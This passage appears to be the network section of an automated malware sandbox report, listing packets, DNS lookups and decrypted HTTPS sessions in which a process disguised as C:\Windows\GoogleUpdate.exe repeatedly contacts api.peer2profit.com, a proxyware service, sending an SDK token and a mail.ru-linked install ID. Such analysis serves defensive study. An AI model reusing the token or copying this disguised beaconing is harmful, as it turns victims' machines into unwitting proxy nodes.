Dec 5, 2022 06:44:50.937551022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937556982 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.937628031 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.943860054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.943892002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.943906069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.943924904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.943943977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.943955898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.944008112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.944008112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.960361958 CET	49705	80	192.168.2.3	104.193.254.97

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2022 06:44:23.910794973 CET	192.168.2.3	8.8.8.8	0x5a3	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:23.950398922 CET	192.168.2.3	8.8.8.8	0x660	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:29.433573008 CET	192.168.2.3	8.8.8.8	0x9c96	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:29.458467960 CET	192.168.2.3	8.8.8.8	0xea0c	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:35.465810061 CET	192.168.2.3	8.8.8.8	0xb9a1	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:35.606846094 CET	192.168.2.3	8.8.8.8	0xf843	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:45:07.780083895 CET	192.168.2.3	8.8.8.8	0x1939	Standard query (0)	api.peer2profit.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2022 06:44:23.932621002 CET	8.8.8.8	192.168.2.3	0x5a3	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 06:44:23.972194910 CET	8.8.8.8	192.168.2.3	0x660	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 06:44:29.451236963 CET	8.8.8.8	192.168.2.3	0x9c96	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 06:44:29.451236963 CET	8.8.8.8	192.168.2.3	0x9c96	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:29.595308065 CET	8.8.8.8	192.168.2.3	0xea0c	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 06:44:29.595308065 CET	8.8.8.8	192.168.2.3	0xea0c	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:35.600883007 CET	8.8.8.8	192.168.2.3	0xb9a1	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 06:44:35.600883007 CET	8.8.8.8	192.168.2.3	0xb9a1	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:44:35.739515066 CET	8.8.8.8	192.168.2.3	0xf843	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 06:44:35.739515066 CET	8.8.8.8	192.168.2.3	0xf843	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:45:07.802375078 CET	8.8.8.8	192.168.2.3	0x1939	No error (0)	api.peer2profit.com		172.66.43.60	A (IP address)	IN (0x0001)	false
Dec 5, 2022 06:45:07.802375078 CET	8.8.8.8	192.168.2.3	0x1939	No error (0)	api.peer2profit.com		172.66.40.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.peer2profit.com

www.idpminic.org

104.193.254.97

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49706	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	Direction	Data
2022-12-05 05:45:13 UTC	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:13 UTC	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:13 UTC	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:13 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79706a595c98-FRA
2022-12-05 05:45:13 UTC	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49709	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:16 UTC	0	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:16 UTC	0	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:16 UTC	1	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:16 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7988cdac914c-FRA
2022-12-05 05:45:16 UTC	1	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49737	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:24 UTC	6	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:24 UTC	7	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:25 UTC	7	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:24 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79bb0e1168e9-FRA
2022-12-05 05:45:25 UTC	7	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.3	50026	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:46:08 UTC	68	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:46:08 UTC	69	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:46:08 UTC	69	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:46:08 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7ac969eb6927-FRA
2022-12-05 05:46:08 UTC	69	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49740	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:25 UTC	7	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:25 UTC	7	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:25 UTC	7	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:25 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79be3cc3697f-FRA
2022-12-05 05:45:25 UTC	8	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49744	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:27 UTC	8	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:27 UTC	8	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:27 UTC	8	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:27 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79cbac4f6963-FRA
2022-12-05 05:45:27 UTC	8	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49747	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:28 UTC	8	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:28 UTC	9	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:29 UTC	9	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:29 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79d42a88994e-FRA
2022-12-05 05:45:29 UTC	9	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49749	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:30 UTC	9	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:30 UTC	9	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:30 UTC	10	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:30 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79dfbcba9072-FRA
2022-12-05 05:45:30 UTC	10	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49752	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:31 UTC	10	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:31 UTC	10	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:31 UTC	10	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:31 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79e3c9159229-FRA
2022-12-05 05:45:31 UTC	10	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49757	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:32 UTC	11	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:32 UTC	11	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:32 UTC	11	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:32 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79e7f806910c-FRA
